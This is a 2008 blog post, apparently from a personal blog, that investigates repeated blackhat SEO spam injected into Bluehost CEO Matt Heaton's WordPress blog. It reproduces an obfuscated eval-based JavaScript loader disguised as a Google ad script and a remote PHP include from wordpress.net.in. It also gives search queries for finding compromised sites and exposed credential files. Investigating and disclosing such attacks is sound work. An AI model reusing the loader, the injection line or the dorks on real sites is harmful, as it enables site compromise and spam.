Kakkoi » goro+spam

Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II

chaoskaizer.myopenid.com — Thu, 31 Jan 2008 17:07:22 +0000

Being Hacked by SEO spammer is seem like a yearly events at Mattheaton.com. Matt’s WordPress blog was first hijacked 2 months ago on 26 November 2007 (according to my record). You can digg my earlier post at → Matt Heaton BlueHost HostMonster CEO Official Blog Hacked.

It’s a big embarrassment for bluehost & hostmonster hosting to have their CEO’s blog being spamride every year (since 2007) . Drilling Matt Heaton’s with bad ads wont solves the Blackhat Spam issues, I will left that particulars part to my readers to speculate.

Mattheaton Goro Spam Chronology

Date	Event
Jul 2007	Google PR 7
Aug 2007	Stop being Index by archive.org
Nov 28th 2007	Wordpress.net.in Goro Spam on wp_footer backlink to howardowens.com
Dec 4th 2007	Unknown Goro Spam on wp_head backlink to tangonoticias.com
Dec 11th 2007	Wordpress Upgrade to version 2.3.1
Jan 16th, 2008	Google PR5
Jan 26th, 2008	Unknown Blackhat SEO spam on wp_head backlink to brainwave-india.com
Feb 3rd, 2008	Unknown Blackhat SEO spam on wp_head backlink to thinkingphp.org
Feb 8th, 2008	Unknown uusing CSS cloacking method on wp_head backlink to zoorender.com
Feb 13th, 2008	Unknown using CSS cloacking method on wp_head backlink to blog.jensfranke.com
Feb 20th, 2008	Unknown using CSS cloacking method on wp_head backlink to entrepreneur27.org
Feb 24th, 2008	Unknown using CSS cloacking method on wp_head backlink to latenightpc.com
Feb 26th, 2008	Unknown using CSS cloacking method on wp_head backlink to communitynext.com

Wordpress.net.in GORO Spam Pattern

All the infected sites will stop being index by archive.org few months before the spam started.
From Nov 2007 to Jan 2008 (Right after Google Mass P3 De-rank fever) - The Blackhat Goro Spammer is targeting PR6 & PR7 sites running on WordPress (2.3.1 below) and on some rare case (tangonoticias.com) Joomla CMS (1.0.x)
I categorize this blackhat method as Sybil Attack

A Sybil attack is one in which an attacker subverts the reputation system by creating a large number of pseudonymous entities, and using them to gain a disproportionately large influence. A reputation system’s vulnerability to a Sybil attack depends on how cheaply Sybils can be generated, the degree to which the reputation system accepts input from entities that do not have a chain of trust linking them to a trusted entity, and whether the reputation system treats all entities identically.

- Derank and manipulate their victim host to boost their pharmaceutical products on Google Local Search Index (gaming Localrank for better SERP)

Goro signatures:

html div with id “goro”

Output spam on WordPress wp_footer & wp_head hook

Blackhat SEO Spamdexing Google Local Search Index

The below graph explain the Blackhat SEO Spamdexing methods for Manipulating Google Local SERP.

View Spamdexing Google Local Search Image

Note: A blackhat at hoqwarts ;)

ScreenGrab

mattheaton.com Jan 28 2008 (1009 x 6576 pixels)
brainwave-india.com Jan 28 2008 (1016 x 2306 pixels)
Google Local Search Jan 28 2008 Spamdexing Results
stc-israel.org.il Jan 28 2008 spamdexing page (hidden text)
stc-israel.org.il Jan 28 2008 spamdexing page (text reveal)

Recent Update

Feb 1, 2008 - we send a letter to matt@bluehost.com regarding this issue. Still waiting for his replies

Feb 3, 2008 - The Blackhat Goro Spammer change their target spamhost from http://www.brainwave-india.com (PR6) to http://www.thinkingphp.org (PR6) - Felix Geisendörfer.

function getme(str){ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ''; var i = 1; for (++idx; idx < len; idx += 2,i++){ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); } eval(new_str); }getme('http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E4D545652090A0E5252564840083D414A4641354C0FF83E3E3C32F306');

thinkingphp.org blog is running on WordPress 2.3.2. We send him email regarding the Goro Spam hijack.

Feb 8th 2008, There is no signature of Goro spam (tag with id goro) on Matt’s blog the blackhat is now using Inline CSS Position Overflow to hide the spams links ↓ redirect to zoorender.com (PR6).
```
buying .. 
```

Feb 13th 2008, Same methods as above (inline css cloacking) .
- HTML Code shown to a Regular Browser → 32,246 characters
- HTML Code shown to Google Bot → 34,646 characters
redirect to blog.jensfranke.com (PR7).
```
buy generic fi
```

Feb 20th 2008, CSS Cloacking redirect to http://www.entrepreneur27.org/ (PR6).
```
bad side effects of viagra  ...
```
Feb 24th 2008, CSS Cloacking redirect to http://www.latenightpc.com (PR5). mattheaton-com-022408-source.txt
Feb 26th 2008, CSS Cloacking redirect to http://www.communitynext.com/ WordPress 2.3.3 (PR6). mattheaton-com-022608-source.txt

External Links

Matt Heaton BlueHost HostMonster CEO Official Blog Hacked

Avice De'veréux — Sat, 01 Dec 2007 09:55:53 +0000

Dec 11 2007 - Matt Heaton Blog’s has been cleansed. ATM he’s using latest version of WordPress (2.3.x). And also most of the blogs lists in this articles has been upgrade.

Jan 26th, 2008 - Seem like bluehost engineer did a bad job at cleaning, the goro spam is back.

Just after the recent issue on wordpress.com.cn now there is new wordpress imitater. A remote spamware injection by wordpress.net.in

I was reading one of Matt Heaton posted 2 days ago when I found bunch of spamsware link on his wordpress footer.

Matt’s is using default wodpress theme (kubrick) with single javascript for adsense. The only way the spams can get in is probably via php injection or by manual editing. All the spamware is redirect to howardowens.com/?order=XX page.

Lookup for howardowens.com

The below diagram explained the lookup results for howardowens.com. click on the image to enlarge.

Surprisingly the spammer website is also host by bluehost.com (69.89.16.0/20,74.220.192.0/19 ,69.89.16.4 -> box183.bluehost.com).

Tracking the spam sources.

Viewing mattheaton.com html sources I found some hint and start searching for xanax intext:id=\”goro\”. Google return 2 results for this query.

1. Wordpress Support: php get footer adding spam code?
2. elijahzarwan.net: div id=”Goro” (nice headline)

Both site suggest same type of php injection methods
include('http://wordpress.net.in/statcounter.php');

The statcounter.php is just normal text/plain full with spam links. The spam content on Matt Heaton blog is randomly generate from http://wordpress.net.in/[random]/ random = 1 - 9.

Raw whois for wordpress.net.in

Domain ID:D2500581-AFIN
Domain Name:WORDPRESS.NET.IN
Created On:22-Apr-2007 12:01:55 UTC
Last Updated On:22-Jun-2007 02:26:40 UTC
Expiration Date:22-Apr-2008 12:01:55 UTC
Sponsoring Registrar:Direct Information Pvt. Ltd. dba PublicDomainRegistry.com (R5-AFIN)
Status:OK
Registrant ID:DI_4275224
Registrant Name:Mick Jagger
Registrant Organization:N/A
Registrant Street1:1 Red Square
Registrant City:Moscow
Registrant State/Province:Massachusetts
Registrant Postal Code:123592
Registrant Country:RU
Registrant Phone:+007.7581235641
Registrant Email:mkk.goro@bk.ru
Admin ID:DI_4275224
Admin Name:Mick Jagger
Admin Organization:N/A
Admin Street1:1 Red Square
Admin City:Moscow
Admin State/Province:Massachusetts
Admin Postal Code:123592
Admin Country:RU
Admin Phone:+007.7581235641
Admin Email:mkk.goro@bk.ru
Tech ID:DI_4275224
Tech Name:Mick Jagger
Tech Organization:N/A
Tech Street1:1 Red Square
Tech City:Moscow
Tech State/Province:Massachusetts
Tech Postal Code:123592
Tech Country:RU
Tech Phone:+007.7581235641
Tech Email:mkk.goro@bk.ru
Name Server:MKKG98981.MERCURY.ORDERBOX-DNS.COM
Name Server:MKKG98981.VENUS.ORDERBOX-DNS.COM
Name Server:MKKG98981.EARTH.ORDERBOX-DNS.COM
Name Server:MKKG98981.MARS.ORDERBOX-DNS.COM

Note: The registrant address on 1 red square is a famous restaurant in Moscow.

Its pretty obvious that wordpress.net.in belong to registrar in India.

Live example wordpress.net.in injection

Google query for warning “[function.include]” allintext: “wordpress.net.in” . Used fiddler or any http-inspector to trace the full header request.

1 Evan Morris: Wordpress 2.0.6 | url | screenshot
2 carwax: Wordpress 1.5.2 | url | screenshot
3 aabenthus.biz: Wordpress 2.0.x | url | screenshot
4 mythinger.com: Wordpress 2.0.2 | url | screenshot
5 classicalanglican.net: Wordpress 2.0.2 | url | screenshot
6 echo9er.net: WordPress 1.5.1 | url | screenshot
7 boyarick.com: Wordpress 2.0.2 | url | screenshot

Google Directory search for class-mail.php

Search for class-mail.php in open directory (public).
“parent directory” class-mail.php -html -htm –php -shtml -md5 -md5sums

jean-cyril.com - wp-includes · spams link redirect to www.901am.com/?page=2157. jean-cyril.com has wp-info.txt inside his wp-includes directory. This text files hold unserialize database password and stuff.
floaridablog.org - wp-includes · spams redirect to communications.uml.edu/sunrise/?id=1076 (University of Massachusetts Lowell) the offending spams page has been removed by UML maintainer.

Hiding from search engine Spiders

First, I did some more comparative search at archive.org for howardowens.com and mattheaton.com. It turn out both of this sites has been stop from IA Archiver few months before the spams start showing on their footer. You will need to check howardowens index on archive.org so you can understand my suspicious.

http://web.archive.org/web/*/http://www.howardowens.com
http://web.archive.org/web/*/http://www.mattheaton.com

Out of boredom I cloaked myself as the following agents.

Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) - 74.6.8.125 - llf520032.crawl.yahoo.net
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 66.249.64.50 - crawl-66-249-64-50.googlebot.com
Mozilla/2.0 (compatible; Ask Jeeves/Teoma) - 65.214.44.204 - egspd42002.ask.com
Mediapartners-Google/2.1 66.249.73.213 - crawl-66-249-73-213.googlebot.com

Not much change on both of these sites. Then I read the status header, it return 404 instead of 200. Nice tricks for stopping crawler & spider from spying their joy-ride-spamhouse.

Summary

bits & bytes from this accident we knew that

Most of the site inject are running on wordpress 2.0.6 & below
allow_furl_open is set to true for this injection to work
Most of the blogs owner is unaware about the spams links (cloacking)

Checkout Murray access log, it will give you some ideas with the remote injections methods.

Update

Dec 03 2007: All the spams link to howardowens.com page has been removed. I havent talk with howardowens but I assume howard’s site is being injected the same way like Matt Heaton blog.
Dec 04 2007: Mattheaton.com has a minor update, the spams now inject on both header and footer.
tangonoticias.com:7070/d_pill/577.html.
As tangonoticias.com is running on Joomla CMS they create a static “Wordpress” on port 7070 (Real Network Server & RSTP Port). This is probably a work of different attacker, taking advantage of Matt heaton blindspot. Google Cache (Nov 12)
Dec 11 2007: Matt heaton has been purified. He’s now using latest version of Wordpress (2.3.1). You can still view it on cached thought & screenshot.

How to Removed wordpress.net.in Spam Injection
Jan 31st, 2008 - Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II